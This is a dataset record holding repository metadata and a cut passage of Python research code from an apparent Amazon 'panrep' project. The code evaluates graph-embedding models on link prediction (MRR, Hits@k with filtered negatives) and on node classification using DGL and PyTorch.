21

31

0.68254

9

63

4.666667

0.666667

0.47619

0

0.222222

63

2

32

31.5

0.857143

0.142857

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

d9966b7415918ffd0d110c683f27ab1ba0a3755b

58,054

py

Python

panrep/evaluation.py

amazon-research/panrep

57e6f71bb70c0908f3db28be97af0d818a863e19

[ "Apache-2.0" ]

10

2020-12-18T22:53:43.000Z

2021-12-13T19:07:25.000Z

panrep/evaluation.py

amazon-research/panrep

57e6f71bb70c0908f3db28be97af0d818a863e19

[ "Apache-2.0" ]

null

panrep/evaluation.py

amazon-research/panrep

57e6f71bb70c0908f3db28be97af0d818a863e19

[ "Apache-2.0" ]

1

2021-10-30T12:33:55.000Z

''' This file contains functions to evaluate the link prediction and node classification tasks ''' import time import dgl import numpy as np import torch import torch as th from sklearn.cluster import KMeans from sklearn.metrics import f1_score, normalized_mutual_info_score, adjusted_rand_score, roc_auc_score from sklearn.model_selection import train_test_split from sklearn.svm import LinearSVC from torch.nn import functional as F from torch.utils.data import DataLoader from classifiers import DLinkPredictorOnlyRel, ClassifierMLP from node_sampling_masking import InfomaxNodeRecNeighborSampler, LinkPredictorEvalSampler def evaluation_link_prediction_wembeds(test_g,model, embeddings,train_edges,valid_edges,test_edges,dim_size,eval_neg_cnt,n_layers,device): def transform_triplets(train_edges,etype2id,ntype2id): train_src = None # TODO have to map the etype and ntype to their integer ids. for key in train_edges.keys(): if train_src is None: train_src = train_edges[key][0] train_dst = train_edges[key][1] train_rel = th.tensor(etype2id[key[1]]).repeat((train_src.shape[0])) train_src_type = th.tensor(ntype2id[key[0]]).repeat((train_src.shape[0])) train_dst_type = th.tensor(ntype2id[key[2]]).repeat((train_src.shape[0])) else: train_src = torch.cat((train_src, train_edges[key][0])) train_dst = torch.cat((train_dst, train_edges[key][1])) train_rel = torch.cat((train_rel, th.tensor(etype2id[key[1]]).repeat((train_edges[key][0].shape[0])))) train_src_type = torch.cat( (train_src_type, th.tensor(ntype2id[key[0]]).repeat((train_edges[key][0].shape[0])))) train_dst_type = torch.cat( (train_dst_type, th.tensor(ntype2id[key[2]]).repeat((train_edges[key][0].shape[0])))) perm=torch.randperm(train_src.shape[0]) train_src=train_src[perm] train_dst = train_dst[perm] train_src_type = train_src_type[perm] train_rel = train_rel[perm] train_dst_type = train_dst_type[perm] return (train_src,train_dst,train_src_type,train_rel,train_dst_type) def prepare_triplets(train_data, valid_data, test_data): if len(train_data) == 3: train_src, train_rel, train_dst = train_data train_htypes = None train_ttypes = None else: assert len(train_data) == 5 train_src, train_dst, train_src_type, train_rel, train_dst_type = train_data train_htypes = (train_src_type) train_ttypes = (train_dst_type) head_ids = (train_src) tail_ids = (train_dst) etypes = (train_rel) num_train_edges = etypes.shape[0] # pos_seed = th.arange(batch_size * 5000) #num_train_edges//batch_size) * batch_size) if len(valid_data) == 3: valid_src, valid_rel, valid_dst = valid_data valid_htypes = None valid_ttypes = None valid_neg_htypes = None valid_neg_ttypes = None else: assert len(valid_data) == 5 valid_src, valid_dst, valid_src_trype, valid_rel, valid_dst_type = valid_data valid_htypes = (valid_src_trype) valid_ttypes = (valid_dst_type) valid_neg_htypes = th.cat([train_htypes, valid_htypes]) valid_neg_ttypes = th.cat([train_ttypes, valid_ttypes]) valid_head_ids = (valid_src) valid_tail_ids = (valid_dst) valid_etypes = (valid_rel) valid_neg_head_ids = th.cat([head_ids, valid_head_ids]) valid_neg_tail_ids = th.cat([tail_ids, valid_tail_ids]) valid_neg_etypes = th.cat([etypes, valid_etypes]) num_valid_edges = valid_etypes.shape[0] + num_train_edges valid_seed = th.arange(valid_etypes.shape[0]) if len(test_data) == 3: test_src, test_rel, test_dst = test_data test_htypes = None test_ttypes = None test_neg_htypes = None test_neg_ttypes = None else: assert len(test_data) == 5 test_src, test_dst, test_src_type, test_rel, test_dst_type = test_data test_htypes = (test_src_type) test_ttypes = (test_dst_type) test_neg_htypes = th.cat([valid_neg_htypes, test_htypes]) test_neg_ttypes = th.cat([valid_neg_ttypes, test_ttypes]) test_head_ids = (test_src) test_tail_ids = (test_dst) test_etypes = (test_rel) test_neg_head_ids = th.cat([valid_neg_head_ids, test_head_ids]) test_neg_tail_ids = th.cat([valid_neg_tail_ids, test_tail_ids]) test_neg_etypes = th.cat([valid_neg_etypes, test_etypes]) pos_pairs = (test_head_ids, test_etypes, test_tail_ids, test_htypes, test_ttypes) neg_pairs = (test_neg_head_ids, test_neg_etypes, test_neg_tail_ids, test_neg_htypes, test_neg_ttypes) return pos_pairs, neg_pairs def creat_eval_minibatch(test_g, n_layers): eval_minibatch_blocks = [] eval_minibatch_info = [] for ntype in test_g.ntypes: n_nodes = test_g.number_of_nodes(ntype) eval_minibatch = 512 for i in range(int((n_nodes + eval_minibatch - 1) // eval_minibatch)): cur = {} valid_blocks = [] cur[ntype] = th.arange(i * eval_minibatch, (i + 1) * eval_minibatch \ if (i + 1) * eval_minibatch < n_nodes \ else n_nodes) # record the seed eval_minibatch_info.append((ntype, cur[ntype])) for _ in range(n_layers): #print(cur) frontier = dgl.in_subgraph(test_g, cur) block = dgl.to_block(frontier, cur) cur = {} for s_ntype in block.srctypes: cur[s_ntype] = block.srcnodes[s_ntype].data[dgl.NID] block=block.to(device) valid_blocks.insert(0, block) eval_minibatch_blocks.append(valid_blocks) for i in range(len(eval_minibatch_blocks)): for ntype in eval_minibatch_blocks[i][0].ntypes: if eval_minibatch_blocks[i][0].number_of_src_nodes(ntype)>0: if test_g.nodes[ntype].data.get("h_f", None) is not None: eval_minibatch_blocks[i][0].srcnodes[ntype].data['h_f'] = test_g.nodes[ntype].data['h_f'][ eval_minibatch_blocks[i][0].srcnodes[ntype].data['_ID']].to(device) return eval_minibatch_info, eval_minibatch_blocks def fullgraph_eval(eval_g, model,embeddings, device, dim_size, pos_pairs, neg_pairs, eval_neg_cnt,ntype2id,etype2id): model.eval() t0 = time.time() p_h = embeddings with th.no_grad(): test_head_ids, test_etypes, test_tail_ids, test_htypes, test_ttypes = pos_pairs test_neg_head_ids, _, test_neg_tail_ids, test_neg_htypes, test_neg_ttypes = neg_pairs mrr = 0 mr = 0 hit1 = 0 hit3 = 0 hit10 = 0 pos_batch_size = 1000 pos_cnt = test_head_ids.shape[0] total_cnt = 0 # unique test head and tail nodes if test_htypes is None: unique_neg_head_ids = th.unique(test_neg_head_ids) unique_neg_tail_ids = th.unique(test_neg_tail_ids) unique_neg_htypes = None unique_neg_ttypes = None else: unique_neg_head_ids = [] unique_neg_tail_ids = [] unique_neg_htypes = [] unique_neg_ttypes = [] for nt in eval_g.ntypes: cols = (test_neg_htypes == ntype2id[nt]) unique_ids = th.unique(test_neg_head_ids[cols]) unique_neg_head_ids.append(unique_ids) unique_neg_htypes.append(th.full((unique_ids.shape[0],), ntype2id[nt])) cols = (test_neg_ttypes == ntype2id[nt]) unique_ids = th.unique(test_neg_tail_ids[cols]) unique_neg_tail_ids.append(unique_ids) unique_neg_ttypes.append(th.full((unique_ids.shape[0],), ntype2id[nt])) unique_neg_head_ids = th.cat(unique_neg_head_ids) unique_neg_tail_ids = th.cat(unique_neg_tail_ids) unique_neg_htypes = th.cat(unique_neg_htypes) unique_neg_ttypes = th.cat(unique_neg_ttypes) if eval_neg_cnt > 0: total_neg_head_seed = th.randint(unique_neg_head_ids.shape[0], (eval_neg_cnt * ((pos_cnt // pos_batch_size) + 1),)) total_neg_tail_seed = th.randint(unique_neg_tail_ids.shape[0], (eval_neg_cnt * ((pos_cnt // pos_batch_size) + 1),)) for p_i in range(int((pos_cnt + pos_batch_size - 1) // pos_batch_size)): print("Eval {}-{}".format(p_i * pos_batch_size, (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt)) sub_test_head_ids = test_head_ids[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_etypes = test_etypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_tail_ids = test_tail_ids[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] if test_htypes is None: phead_emb = p_h['node'][sub_test_head_ids] ptail_emb = p_h['node'][sub_test_tail_ids] else: sub_test_htypes = test_htypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_ttypes = test_ttypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] phead_emb = th.empty((sub_test_head_ids.shape[0], dim_size), device=device) ptail_emb = th.empty((sub_test_tail_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_htypes == ntype2id[nt]) phead_emb[loc] = p_h[nt][sub_test_head_ids[loc]] loc = (sub_test_ttypes == ntype2id[nt]) ptail_emb[loc] = p_h[nt][sub_test_tail_ids[loc]] pos_scores = model.calc_pos_score_with_rids(phead_emb, ptail_emb, sub_test_etypes,etype2id,device) pos_scores = F.logsigmoid(pos_scores).reshape(phead_emb.shape[0], -1).detach().cpu() if eval_neg_cnt > 0: neg_head_seed = total_neg_head_seed[p_i * eval_neg_cnt:(p_i + 1) * eval_neg_cnt] neg_tail_seed = total_neg_tail_seed[p_i * eval_neg_cnt:(p_i + 1) * eval_neg_cnt] seed_test_neg_head_ids = unique_neg_head_ids[neg_head_seed] seed_test_neg_tail_ids = unique_neg_tail_ids[neg_tail_seed] if test_neg_htypes is not None: seed_test_neg_htypes = unique_neg_htypes[neg_head_seed] seed_test_neg_ttypes = unique_neg_ttypes[neg_tail_seed] else: seed_test_neg_head_ids = unique_neg_head_ids seed_test_neg_tail_ids = unique_neg_tail_ids seed_test_neg_htypes = unique_neg_htypes seed_test_neg_ttypes = unique_neg_ttypes neg_batch_size = 10000 head_neg_cnt = seed_test_neg_head_ids.shape[0] tail_neg_cnt = seed_test_neg_tail_ids.shape[0] t_neg_score = [] h_neg_score = [] for n_i in range(int((head_neg_cnt + neg_batch_size - 1) // neg_batch_size)): sub_test_neg_head_ids = seed_test_neg_head_ids[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < head_neg_cnt else head_neg_cnt] if test_htypes is None: nhead_emb = p_h['node'][sub_test_neg_head_ids] else: sub_test_neg_htypes = seed_test_neg_htypes[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < head_neg_cnt else head_neg_cnt] nhead_emb = th.empty((sub_test_neg_head_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_neg_htypes == ntype2id[nt]) nhead_emb[loc] = p_h[nt][sub_test_neg_head_ids[loc]] h_neg_score.append( model.calc_neg_head_score(nhead_emb, ptail_emb, sub_test_etypes, 1, ptail_emb.shape[0], nhead_emb.shape[0],etype2id,device).reshape(-1, nhead_emb.shape[ 0]).detach().cpu()) for n_i in range(int((tail_neg_cnt + neg_batch_size - 1) // neg_batch_size)): sub_test_neg_tail_ids = seed_test_neg_tail_ids[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < tail_neg_cnt else tail_neg_cnt] if test_htypes is None: ntail_emb = p_h['node'][sub_test_neg_tail_ids] else: sub_test_neg_ttypes = seed_test_neg_ttypes[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < tail_neg_cnt else tail_neg_cnt] ntail_emb = th.empty((sub_test_neg_tail_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_neg_ttypes == ntype2id[nt]) ntail_emb[loc] = p_h[nt][sub_test_neg_tail_ids[loc]] t_neg_score.append(model.calc_neg_tail_score(phead_emb, ntail_emb, sub_test_etypes, 1, phead_emb.shape[0], ntail_emb.shape[0],etype2id,device).reshape(-1, ntail_emb.shape[ 0]).detach().cpu()) t_neg_score = th.cat(t_neg_score, dim=1) h_neg_score = th.cat(h_neg_score, dim=1) t_neg_score = F.logsigmoid(t_neg_score) h_neg_score = F.logsigmoid(h_neg_score) canonical_etypes = eval_g.canonical_etypes for idx in range(phead_emb.shape[0]): if test_htypes is None: tail_pos = eval_g.has_edges_between( th.full((seed_test_neg_tail_ids.shape[0],), sub_test_head_ids[idx]).long(), seed_test_neg_tail_ids, etype=test_g.etypes[(sub_test_etypes[idx].numpy().item())]) head_pos = eval_g.has_edges_between(seed_test_neg_head_ids, th.full((seed_test_neg_head_ids.shape[0],), sub_test_tail_ids[idx]).long(), etype=test_g.etypes[(sub_test_etypes[idx].numpy().item())]) loc = tail_pos == 1 t_neg_score[idx][loc] += pos_scores[idx] loc = head_pos == 1 h_neg_score[idx][loc] += pos_scores[idx] else: head_type = test_g.ntypes[(sub_test_htypes[idx].numpy())] tail_type = test_g.ntypes[(sub_test_ttypes[idx].numpy())] for t in eval_g.ntypes: if (head_type, test_g.etypes[(sub_test_etypes[idx].numpy().item())], t) in canonical_etypes: loc = (seed_test_neg_ttypes == ntype2id[t]) t_neg_tail_ids = seed_test_neg_tail_ids[loc] # there is some neg tail in this type if t_neg_tail_ids.shape[0] > 0: tail_pos = eval_g.has_edges_between( th.full((t_neg_tail_ids.shape[0],), sub_test_head_ids[idx]).long(), t_neg_tail_ids, etype=(head_type, test_g.etypes[(sub_test_etypes[idx].numpy().item())], t)) t_neg_score[idx][loc][tail_pos == 1] += pos_scores[idx] if (t, test_g.etypes[(sub_test_etypes[idx].numpy().item())], tail_type) in canonical_etypes: loc = (seed_test_neg_htypes == ntype2id[t]) t_neg_head_ids = seed_test_neg_head_ids[loc] # there is some neg head in this type if t_neg_head_ids.shape[0] > 0: head_pos = eval_g.has_edges_between(t_neg_head_ids, th.full((t_neg_head_ids.shape[0],), sub_test_tail_ids[idx]).long(), etype=(t, test_g.etypes[(sub_test_etypes[idx].numpy().item())] , tail_type)) h_neg_score[idx][loc][head_pos == 1] += pos_scores[idx] neg_score = th.cat([h_neg_score, t_neg_score], dim=1) rankings = th.sum(neg_score >= pos_scores, dim=1) + 1 rankings = rankings.cpu().detach().numpy() for ranking in rankings: mrr += 1.0 / ranking mr += float(ranking) hit1 += 1.0 if ranking <= 1 else 0.0 hit3 += 1.0 if ranking <= 3 else 0.0 hit10 += 1.0 if ranking <= 10 else 0.0 total_cnt += 1 res="MRR {}\nMR {}\nHITS@1 {}\nHITS@3 {}\nHITS@10 {}".format(mrr / total_cnt, mr / total_cnt, hit1 / total_cnt, hit3 / total_cnt, hit10 / total_cnt) print("MRR {}\nMR {}\nHITS@1 {}\nHITS@3 {}\nHITS@10 {}".format(mrr / total_cnt, mr / total_cnt, hit1 / total_cnt, hit3 / total_cnt, hit10 / total_cnt)) t1 = time.time() print("Full eval {} exmpales takes {} seconds".format(pos_scores.shape[0], t1 - t0)) return res ntype2id = {} for i, ntype in enumerate(test_g.ntypes): ntype2id[ntype] = i etype2id = {} for i, etype in enumerate(test_g.etypes): etype2id[etype] = i train_data=transform_triplets(train_edges, etype2id, ntype2id) valid_data = transform_triplets(valid_edges, etype2id, ntype2id) test_data = transform_triplets(test_edges, etype2id, ntype2id) pos_pairs, neg_pairs=prepare_triplets(train_data, valid_data, test_data) #minibatch_info, minibatch_blocks=creat_eval_minibatch(test_g, n_layers) res=fullgraph_eval(test_g, model,embeddings, device, dim_size, pos_pairs, neg_pairs, eval_neg_cnt,ntype2id,etype2id) return res def evaluate_panrep_fn_for_node_classification(model, val_loader, device, labels, category, loss_func, multilabel=False): model.eval() total_acc=0 total_loss = 0 count=0 for i, (seeds, blocks) in enumerate(val_loader): # need to copy the features for i in range(len(blocks)): blocks[i] = blocks[i].to(device) lbl = labels[seeds[category]] logits = model.classifier_forward_mb(blocks)[category] loss = loss_func(logits, lbl) pred = torch.sigmoid(logits) if multilabel is False: pred = pred.argmax(dim=1) else: pred = pred acc = compute_acc(pred, lbl, multilabel) total_acc += acc total_loss += loss.item() * len(seeds) pred = pred.cpu().numpy() count+=len(seeds) return total_loss/count, total_acc/count def evaluation_link_prediction(test_g,model,train_edges,valid_edges,test_edges,dim_size,eval_neg_cnt,n_layers,device): def transform_triplets(train_edges,etype2id,ntype2id): train_src = None # TODO have to map the etype and ntype to their integer ids. for key in train_edges.keys(): if train_src is None: train_src = train_edges[key][0] train_dst = train_edges[key][1] train_rel = th.tensor(etype2id[key[1]]).repeat((train_src.shape[0])) train_src_type = th.tensor(ntype2id[key[0]]).repeat((train_src.shape[0])) train_dst_type = th.tensor(ntype2id[key[2]]).repeat((train_src.shape[0])) else: train_src = torch.cat((train_src, train_edges[key][0])) train_dst = torch.cat((train_dst, train_edges[key][1])) train_rel = torch.cat((train_rel, th.tensor(etype2id[key[1]]).repeat((train_edges[key][0].shape[0])))) train_src_type = torch.cat( (train_src_type, th.tensor(ntype2id[key[0]]).repeat((train_edges[key][0].shape[0])))) train_dst_type = torch.cat( (train_dst_type, th.tensor(ntype2id[key[2]]).repeat((train_edges[key][0].shape[0])))) perm=torch.randperm(train_src.shape[0]) train_src=train_src[perm] train_dst = train_dst[perm] train_src_type = train_src_type[perm] train_rel = train_rel[perm] train_dst_type = train_dst_type[perm] return (train_src,train_dst,train_src_type,train_rel,train_dst_type) def prepare_triplets(train_data, valid_data, test_data): if len(train_data) == 3: train_src, train_rel, train_dst = train_data train_htypes = None train_ttypes = None else: assert len(train_data) == 5 train_src, train_dst, train_src_type, train_rel, train_dst_type = train_data train_htypes = (train_src_type) train_ttypes = (train_dst_type) head_ids = (train_src) tail_ids = (train_dst) etypes = (train_rel) num_train_edges = etypes.shape[0] # pos_seed = th.arange(batch_size * 5000) #num_train_edges//batch_size) * batch_size) if len(valid_data) == 3: valid_src, valid_rel, valid_dst = valid_data valid_htypes = None valid_ttypes = None valid_neg_htypes = None valid_neg_ttypes = None else: assert len(valid_data) == 5 valid_src, valid_dst, valid_src_trype, valid_rel, valid_dst_type = valid_data valid_htypes = (valid_src_trype) valid_ttypes = (valid_dst_type) valid_neg_htypes = th.cat([train_htypes, valid_htypes]) valid_neg_ttypes = th.cat([train_ttypes, valid_ttypes]) valid_head_ids = (valid_src) valid_tail_ids = (valid_dst) valid_etypes = (valid_rel) valid_neg_head_ids = th.cat([head_ids, valid_head_ids]) valid_neg_tail_ids = th.cat([tail_ids, valid_tail_ids]) valid_neg_etypes = th.cat([etypes, valid_etypes]) num_valid_edges = valid_etypes.shape[0] + num_train_edges valid_seed = th.arange(valid_etypes.shape[0]) if len(test_data) == 3: test_src, test_rel, test_dst = test_data test_htypes = None test_ttypes = None test_neg_htypes = None test_neg_ttypes = None else: assert len(test_data) == 5 test_src, test_dst, test_src_type, test_rel, test_dst_type = test_data test_htypes = (test_src_type) test_ttypes = (test_dst_type) test_neg_htypes = th.cat([valid_neg_htypes, test_htypes]) test_neg_ttypes = th.cat([valid_neg_ttypes, test_ttypes]) test_head_ids = (test_src) test_tail_ids = (test_dst) test_etypes = (test_rel) test_neg_head_ids = th.cat([valid_neg_head_ids, test_head_ids]) test_neg_tail_ids = th.cat([valid_neg_tail_ids, test_tail_ids]) test_neg_etypes = th.cat([valid_neg_etypes, test_etypes]) pos_pairs = (test_head_ids, test_etypes, test_tail_ids, test_htypes, test_ttypes) neg_pairs = (test_neg_head_ids, test_neg_etypes, test_neg_tail_ids, test_neg_htypes, test_neg_ttypes) return pos_pairs, neg_pairs def creat_eval_minibatch(test_g, n_layers): eval_minibatch_blocks = [] eval_minibatch_info = [] for ntype in test_g.ntypes: n_nodes = test_g.number_of_nodes(ntype) eval_minibatch = 512 for i in range(int((n_nodes + eval_minibatch - 1) // eval_minibatch)): cur = {} valid_blocks = [] cur[ntype] = th.arange(i * eval_minibatch, (i + 1) * eval_minibatch \ if (i + 1) * eval_minibatch < n_nodes \ else n_nodes) # record the seed eval_minibatch_info.append((ntype, cur[ntype])) for _ in range(n_layers): #print(cur) frontier = dgl.in_subgraph(test_g, cur) block = dgl.to_block(frontier, cur) cur = {} for s_ntype in block.srctypes: cur[s_ntype] = block.srcnodes[s_ntype].data[dgl.NID] block=block.to(device) valid_blocks.insert(0, block) eval_minibatch_blocks.append(valid_blocks) for i in range(len(eval_minibatch_blocks)): for ntype in eval_minibatch_blocks[i][0].ntypes: if eval_minibatch_blocks[i][0].number_of_src_nodes(ntype)>0: if test_g.nodes[ntype].data.get("h_f", None) is not None: eval_minibatch_blocks[i][0].srcnodes[ntype].data['h_f'] = test_g.nodes[ntype].data['h_f'][ eval_minibatch_blocks[i][0].srcnodes[ntype].data['_ID']].to(device) return eval_minibatch_info, eval_minibatch_blocks def fullgraph_eval(eval_g, model, device, dim_size, minibatch_blocks, minibatch_info, pos_pairs, neg_pairs, eval_neg_cnt,ntype2id,etype2id): model.eval() t0 = time.time() p_h = {} with th.no_grad(): for i, blocks in enumerate(minibatch_blocks): mp_h = model.encoder.forward_mb(blocks) mini_ntype, mini_idx = minibatch_info[i] if p_h.get(mini_ntype, None) is None: p_h[mini_ntype] = th.empty((eval_g.number_of_nodes(mini_ntype), dim_size), device=device) p_h[mini_ntype][mini_idx] = mp_h[mini_ntype] test_head_ids, test_etypes, test_tail_ids, test_htypes, test_ttypes = pos_pairs test_neg_head_ids, _, test_neg_tail_ids, test_neg_htypes, test_neg_ttypes = neg_pairs mrr = 0 mr = 0 hit1 = 0 hit3 = 0 hit10 = 0 pos_batch_size = 1000 pos_cnt = test_head_ids.shape[0] total_cnt = 0 # unique test head and tail nodes if test_htypes is None: unique_neg_head_ids = th.unique(test_neg_head_ids) unique_neg_tail_ids = th.unique(test_neg_tail_ids) unique_neg_htypes = None unique_neg_ttypes = None else: unique_neg_head_ids = [] unique_neg_tail_ids = [] unique_neg_htypes = [] unique_neg_ttypes = [] for nt in eval_g.ntypes: cols = (test_neg_htypes == ntype2id[nt]) unique_ids = th.unique(test_neg_head_ids[cols]) unique_neg_head_ids.append(unique_ids) unique_neg_htypes.append(th.full((unique_ids.shape[0],), ntype2id[nt])) cols = (test_neg_ttypes == ntype2id[nt]) unique_ids = th.unique(test_neg_tail_ids[cols]) unique_neg_tail_ids.append(unique_ids) unique_neg_ttypes.append(th.full((unique_ids.shape[0],), ntype2id[nt])) unique_neg_head_ids = th.cat(unique_neg_head_ids) unique_neg_tail_ids = th.cat(unique_neg_tail_ids) unique_neg_htypes = th.cat(unique_neg_htypes) unique_neg_ttypes = th.cat(unique_neg_ttypes) if eval_neg_cnt > 0: total_neg_head_seed = th.randint(unique_neg_head_ids.shape[0], (eval_neg_cnt * ((pos_cnt // pos_batch_size) + 1),)) total_neg_tail_seed = th.randint(unique_neg_tail_ids.shape[0], (eval_neg_cnt * ((pos_cnt // pos_batch_size) + 1),)) for p_i in range(int((pos_cnt + pos_batch_size - 1) // pos_batch_size)): print("Eval {}-{}".format(p_i * pos_batch_size, (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt)) sub_test_head_ids = test_head_ids[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_etypes = test_etypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_tail_ids = test_tail_ids[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] if test_htypes is None: phead_emb = p_h['node'][sub_test_head_ids] ptail_emb = p_h['node'][sub_test_tail_ids] else: sub_test_htypes = test_htypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] sub_test_ttypes = test_ttypes[p_i * pos_batch_size: \ (p_i + 1) * pos_batch_size \ if (p_i + 1) * pos_batch_size < pos_cnt \ else pos_cnt] phead_emb = th.empty((sub_test_head_ids.shape[0], dim_size), device=device) ptail_emb = th.empty((sub_test_tail_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_htypes == ntype2id[nt]) phead_emb[loc] = p_h[nt][sub_test_head_ids[loc]] loc = (sub_test_ttypes == ntype2id[nt]) ptail_emb[loc] = p_h[nt][sub_test_tail_ids[loc]] pos_scores = model.linkPredictor.calc_pos_score_with_rids(phead_emb, ptail_emb, sub_test_etypes,etype2id,device) pos_scores = F.logsigmoid(pos_scores).reshape(phead_emb.shape[0], -1).detach().cpu() if eval_neg_cnt > 0: neg_head_seed = total_neg_head_seed[p_i * eval_neg_cnt:(p_i + 1) * eval_neg_cnt] neg_tail_seed = total_neg_tail_seed[p_i * eval_neg_cnt:(p_i + 1) * eval_neg_cnt] seed_test_neg_head_ids = unique_neg_head_ids[neg_head_seed] seed_test_neg_tail_ids = unique_neg_tail_ids[neg_tail_seed] if test_neg_htypes is not None: seed_test_neg_htypes = unique_neg_htypes[neg_head_seed] seed_test_neg_ttypes = unique_neg_ttypes[neg_tail_seed] else: seed_test_neg_head_ids = unique_neg_head_ids seed_test_neg_tail_ids = unique_neg_tail_ids seed_test_neg_htypes = unique_neg_htypes seed_test_neg_ttypes = unique_neg_ttypes neg_batch_size = 10000 head_neg_cnt = seed_test_neg_head_ids.shape[0] tail_neg_cnt = seed_test_neg_tail_ids.shape[0] t_neg_score = [] h_neg_score = [] for n_i in range(int((head_neg_cnt + neg_batch_size - 1) // neg_batch_size)): sub_test_neg_head_ids = seed_test_neg_head_ids[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < head_neg_cnt else head_neg_cnt] if test_htypes is None: nhead_emb = p_h['node'][sub_test_neg_head_ids] else: sub_test_neg_htypes = seed_test_neg_htypes[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < head_neg_cnt else head_neg_cnt] nhead_emb = th.empty((sub_test_neg_head_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_neg_htypes == ntype2id[nt]) nhead_emb[loc] = p_h[nt][sub_test_neg_head_ids[loc]] h_neg_score.append( model.linkPredictor.calc_neg_head_score(nhead_emb, ptail_emb, sub_test_etypes, 1, ptail_emb.shape[0], nhead_emb.shape[0],etype2id,device).reshape(-1, nhead_emb.shape[ 0]).detach().cpu()) for n_i in range(int((tail_neg_cnt + neg_batch_size - 1) // neg_batch_size)): sub_test_neg_tail_ids = seed_test_neg_tail_ids[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < tail_neg_cnt else tail_neg_cnt] if test_htypes is None: ntail_emb = p_h['node'][sub_test_neg_tail_ids] else: sub_test_neg_ttypes = seed_test_neg_ttypes[n_i * neg_batch_size: \ (n_i + 1) * neg_batch_size \ if (n_i + 1) * neg_batch_size < tail_neg_cnt else tail_neg_cnt] ntail_emb = th.empty((sub_test_neg_tail_ids.shape[0], dim_size), device=device) for nt in eval_g.ntypes: if nt in p_h: loc = (sub_test_neg_ttypes == ntype2id[nt]) ntail_emb[loc] = p_h[nt][sub_test_neg_tail_ids[loc]] t_neg_score.append(model.linkPredictor.calc_neg_tail_score(phead_emb, ntail_emb, sub_test_etypes, 1, phead_emb.shape[0], ntail_emb.shape[0],etype2id,device).reshape(-1, ntail_emb.shape[ 0]).detach().cpu()) t_neg_score = th.cat(t_neg_score, dim=1) h_neg_score = th.cat(h_neg_score, dim=1) t_neg_score = F.logsigmoid(t_neg_score) h_neg_score = F.logsigmoid(h_neg_score) canonical_etypes = eval_g.canonical_etypes for idx in range(phead_emb.shape[0]): if test_htypes is None: tail_pos = eval_g.has_edges_between( th.full((seed_test_neg_tail_ids.shape[0],), sub_test_head_ids[idx]).long(), seed_test_neg_tail_ids, etype=test_g.etypes[(sub_test_etypes[idx].numpy().item())]) head_pos = eval_g.has_edges_between(seed_test_neg_head_ids, th.full((seed_test_neg_head_ids.shape[0],), sub_test_tail_ids[idx]).long(), etype=test_g.etypes[(sub_test_etypes[idx].numpy().item())]) loc = tail_pos == 1 t_neg_score[idx][loc] += pos_scores[idx] loc = head_pos == 1 h_neg_score[idx][loc] += pos_scores[idx] else: head_type = test_g.ntypes[(sub_test_htypes[idx].numpy())] tail_type = test_g.ntypes[(sub_test_ttypes[idx].numpy())] for t in eval_g.ntypes: if (head_type, test_g.etypes[(sub_test_etypes[idx].numpy().item())], t) in canonical_etypes: loc = (seed_test_neg_ttypes == ntype2id[t]) t_neg_tail_ids = seed_test_neg_tail_ids[loc] # there is some neg tail in this type if t_neg_tail_ids.shape[0] > 0: tail_pos = eval_g.has_edges_between( th.full((t_neg_tail_ids.shape[0],), sub_test_head_ids[idx]).long(), t_neg_tail_ids, etype=(head_type, test_g.etypes[(sub_test_etypes[idx].numpy().item())], t)) t_neg_score[idx][loc][tail_pos == 1] += pos_scores[idx] if (t, test_g.etypes[(sub_test_etypes[idx].numpy().item())], tail_type) in canonical_etypes: loc = (seed_test_neg_htypes == ntype2id[t]) t_neg_head_ids = seed_test_neg_head_ids[loc] # there is some neg head in this type if t_neg_head_ids.shape[0] > 0: head_pos = eval_g.has_edges_between(t_neg_head_ids, th.full((t_neg_head_ids.shape[0],), sub_test_tail_ids[idx]).long(), etype=(t, test_g.etypes[(sub_test_etypes[idx].numpy().item())] , tail_type)) h_neg_score[idx][loc][head_pos == 1] += pos_scores[idx] neg_score = th.cat([h_neg_score, t_neg_score], dim=1) rankings = th.sum(neg_score >= 